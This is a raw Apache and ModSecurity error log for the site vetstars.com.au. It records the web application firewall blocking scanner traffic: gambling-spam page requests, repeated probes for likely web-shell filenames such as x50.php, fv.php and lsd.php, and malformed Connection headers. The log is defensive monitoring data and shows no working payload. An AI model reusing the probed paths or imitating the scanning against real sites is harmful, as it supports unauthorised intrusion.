[Tue Feb 03 13:23:37.229934 2026] [:error] [pid 42921:tid 42981] [client 185.231.100.76:32832] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aYGGWYblShffGl-01ocKjwAAAFc"]
[Tue Feb 03 13:23:39.852624 2026] [:error] [pid 42921:tid 42960] [client 185.231.100.76:32848] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYGGW4blShffGl-01ocKkQAAAEI"]
[Tue Feb 03 13:23:42.636476 2026] [:error] [pid 5229:tid 5248] [client 185.231.100.76:32876] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aYGGXkKmEgmJub93yUpOZQAAAZE"]
[Tue Feb 03 13:23:45.275092 2026] [:error] [pid 5229:tid 5237] [client 185.231.100.76:58820] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aYGGYUKmEgmJub93yUpObQAAAYY"]
[Tue Feb 03 13:23:48.046756 2026] [:error] [pid 42920:tid 42950] [client 185.231.100.76:58826] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYGGZCix3YKltG4EU0kWQAAAABU"]
[Tue Feb 03 13:23:50.817662 2026] [:error] [pid 28720:tid 28725] [client 185.231.100.76:58836] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aYGGZmmRXm2bmr_sYiZauAAAAQM"]
[Tue Feb 03 13:24:24.871849 2026] [:error] [pid 28720:tid 28732] [client 185.231.100.76:58644] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYGGiGmRXm2bmr_sYiZa6wAAAQo"]
[Tue Feb 03 13:24:27.634024 2026] [:error] [pid 5229:tid 5232] [client 185.231.100.76:55994] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYGGi0KmEgmJub93yUpOrAAAAYE"]
[Tue Feb 03 13:24:30.295096 2026] [:error] [pid 5229:tid 5255] [client 185.231.100.76:56004] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aYGGjkKmEgmJub93yUpOtwAAAZg"]
[Tue Feb 03 13:24:33.060655 2026] [:error] [pid 5229:tid 5245] [client 185.231.100.76:56016] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aYGGkUKmEgmJub93yUpOwAAAAY4"]
[Tue Feb 03 13:24:35.827883 2026] [:error] [pid 42922:tid 43009] [client 185.231.100.76:38442] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aYGGk2azX4WPS_dQRkgsAgAAAJg"]
[Tue Feb 03 13:24:38.579372 2026] [:error] [pid 43028:tid 43047] [client 185.231.100.76:38458] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYGGllnHWnJD4cJC5Dsg0AAAANE"]
[Tue Feb 03 13:24:41.187930 2026] [:error] [pid 42921:tid 42980] [client 185.231.100.76:38472] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aYGGmYblShffGl-01ocK0wAAAFY"]
[Tue Feb 03 13:24:44.200670 2026] [:error] [pid 42920:tid 42944] [client 185.231.100.76:42810] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYGGnCix3YKltG4EU0kWcwAAAA8"]
[Tue Feb 03 13:24:46.835818 2026] [:error] [pid 28720:tid 28741] [client 185.231.100.76:42814] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aYGGnmmRXm2bmr_sYiZbAgAAARM"]
[Tue Feb 03 13:24:49.572958 2026] [:error] [pid 43028:tid 43041] [client 185.231.100.76:42822] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aYGGoVnHWnJD4cJC5Dsg1gAAAMs"]
[Tue Feb 03 13:24:52.331827 2026] [:error] [pid 43028:tid 43035] [client 185.231.100.76:42838] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aYGGpFnHWnJD4cJC5Dsg2QAAAMU"]
[Tue Feb 03 13:24:55.086945 2026] [:error] [pid 42921:tid 42963] [client 185.231.100.76:55602] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aYGGp4blShffGl-01ocK2wAAAEU"]
[Tue Feb 03 13:24:57.726793 2026] [:error] [pid 42921:tid 42965] [client 185.231.100.76:55618] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYGGqYblShffGl-01ocK5QAAAEc"]
[Tue Feb 03 13:25:00.512112 2026] [:error] [pid 5229:tid 5235] [client 185.231.100.76:55620] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYGGrEKmEgmJub93yUpO8gAAAYQ"]
[Tue Feb 03 13:25:03.280433 2026] [:error] [pid 5229:tid 5243] [client 185.231.100.76:55632] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYGGr0KmEgmJub93yUpO-QAAAYw"]
[Tue Feb 03 13:25:05.751977 2026] [:error] [pid 28720:tid 28729] [client 185.231.100.76:41856] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYGGsWmRXm2bmr_sYiZbJQAAAQc"]
[Tue Feb 03 13:25:08.369306 2026] [:error] [pid 42920:tid 42930] [client 185.231.100.76:41872] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYGGtCix3YKltG4EU0kWjwAAAAE"]
[Tue Feb 03 13:25:11.100827 2026] [:error] [pid 5229:tid 5234] [client 185.231.100.76:41878] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYGGt0KmEgmJub93yUpPBwAAAYM"]
[Tue Feb 03 13:25:13.882712 2026] [:error] [pid 42922:tid 42987] [client 185.231.100.76:48076] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYGGuWazX4WPS_dQRkgsOgAAAII"]
[Tue Feb 03 13:25:16.473871 2026] [:error] [pid 42921:tid 42960] [client 185.231.100.76:48088] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aYGGvIblShffGl-01ocK8AAAAEI"]
[Tue Feb 03 13:25:19.308611 2026] [:error] [pid 5229:tid 5250] [client 185.231.100.76:48104] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYGGv0KmEgmJub93yUpPFAAAAZM"]
[Tue Feb 03 14:00:52.479273 2026] [:error] [pid 43028:tid 43054] [client 37.27.119.185:59188] [client 37.27.119.185] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYGPFFnHWnJD4cJC5DsqsAAAANg"], referer: https://www.foxnews.com
[Tue Feb 03 14:00:53.128317 2026] [:error] [pid 42920:tid 42929] [client 37.27.119.185:59704] [client 37.27.119.185] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYGPFSix3YKltG4EU0kfPQAAAAA"], referer: https://www.wordpress.com
[Tue Feb 03 14:54:18.752806 2026] [:error] [pid 42921:tid 42966] [client 43.154.250.181:43168] [client 43.154.250.181] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYGbmoblShffGl-01ochTQAAAEg"]
[Tue Feb 03 20:33:23.093787 2026] [:error] [pid 43028:tid 43031] [client 51.75.128.81:33860] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aYHrE1nHWnJD4cJC5DucCgAAAME"]
[Wed Feb 04 01:13:03.660609 2026] [:error] [pid 42922:tid 42985] [client 74.7.244.45:57814] [client 74.7.244.45] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "103.69.96.39_f6c7b0ffc9121077293362931ff6f60536b140e9"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/index.php"] [unique_id "aYIsmmazX4WPS_dQRkjfVwAAAIA"]
[Wed Feb 04 01:29:36.327969 2026] [autoindex:error] [pid 42920:tid 42940] [client 52.243.58.155:25574] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 04 01:30:17.531925 2026] [:error] [pid 42921:tid 42973] [client 52.243.58.155:35501] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aYIwqYblShffGl-01ofKZgAAAE8"]
[Wed Feb 04 01:30:18.676679 2026] [:error] [pid 42921:tid 42981] [client 52.243.58.155:35949] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aYIwqoblShffGl-01ofKagAAAFc"]
[Wed Feb 04 01:30:20.423914 2026] [:error] [pid 42920:tid 42936] [client 52.243.58.155:25970] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aYIwrCix3YKltG4EU0nT4wAAAAc"]
[Wed Feb 04 01:30:22.046900 2026] [:error] [pid 42922:tid 42998] [client 52.243.58.155:25949] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aYIwrmazX4WPS_dQRkjsXAAAAI0"]
[Wed Feb 04 01:30:22.863490 2026] [:error] [pid 42921:tid 42982] [client 52.243.58.155:41287] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aYIwroblShffGl-01ofKcAAAAFg"]
[Wed Feb 04 01:30:24.549546 2026] [:error] [pid 5148:tid 5165] [client 52.243.58.155:25603] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aYIwsL83HCHLtUIbS7JBfwAAAU4"]
[Wed Feb 04 01:30:25.257445 2026] [:error] [pid 28720:tid 28732] [client 52.243.58.155:47606] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aYIwsWmRXm2bmr_sYiYkHAAAAQo"]
[Wed Feb 04 01:30:27.050199 2026] [:error] [pid 42921:tid 42977] [client 52.243.58.155:47559] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aYIws4blShffGl-01ofKcwAAAFM"]
[Wed Feb 04 01:30:28.997818 2026] [:error] [pid 5148:tid 5157] [client 52.243.58.155:26855] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aYIwtL83HCHLtUIbS7JBgwAAAUY"]
[Wed Feb 04 01:30:30.949341 2026] [:error] [pid 43028:tid 43045] [client 52.243.58.155:25609] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aYIwtlnHWnJD4cJC5DsjkQAAAM8"]
[Wed Feb 04 01:30:31.933305 2026] [:error] [pid 42922:tid 43001] [client 52.243.58.155:47468] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aYIwt2azX4WPS_dQRkjsZAAAAJA"]
[Wed Feb 04 01:30:33.240872 2026] [:error] [pid 43028:tid 43031] [client 52.243.58.155:32842] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aYIwuVnHWnJD4cJC5DsjlQAAAME"]
[Wed Feb 04 01:30:33.999648 2026] [:error] [pid 42922:tid 42985] [client 52.243.58.155:29435] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aYIwuWazX4WPS_dQRkjsZgAAAIA"]
[Wed Feb 04 01:30:34.946683 2026] [:error] [pid 5229:tid 5252] [client 52.243.58.155:1264] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aYIwukKmEgmJub93yUpk1AAAAZU"]
[Wed Feb 04 01:30:35.885355 2026] [:error] [pid 42922:tid 42999] [client 52.243.58.155:37628] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aYIwu2azX4WPS_dQRkjsaQAAAI4"]
[Wed Feb 04 01:30:38.105085 2026] [:error] [pid 42922:tid 43009] [client 52.243.58.155:29830] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aYIwvmazX4WPS_dQRkjsbAAAAJg"]
[Wed Feb 04 01:30:38.474957 2026] [:error] [pid 28720:tid 28742] [client 52.243.58.155:28388] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aYIwvmmRXm2bmr_sYiYkMwAAARQ"]
[Wed Feb 04 01:30:39.103100 2026] [:error] [pid 43028:tid 43054] [client 52.243.58.155:32878] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aYIwv1nHWnJD4cJC5DsjnAAAANg"]
[Wed Feb 04 01:30:40.399265 2026] [:error] [pid 5148:tid 5175] [client 52.243.58.155:1248] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aYIwwL83HCHLtUIbS7JBjgAAAVg"]
[Wed Feb 04 01:30:42.109617 2026] [:error] [pid 5148:tid 5173] [client 52.243.58.155:29403] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aYIwwr83HCHLtUIbS7JBkQAAAVY"]
[Wed Feb 04 01:30:43.630165 2026] [:error] [pid 42922:tid 42994] [client 52.243.58.155:29438] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aYIww2azX4WPS_dQRkjsbwAAAIk"]
[Wed Feb 04 01:30:44.208357 2026] [:error] [pid 42920:tid 42938] [client 52.243.58.155:47550] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aYIwxCix3YKltG4EU0nT-QAAAAk"]
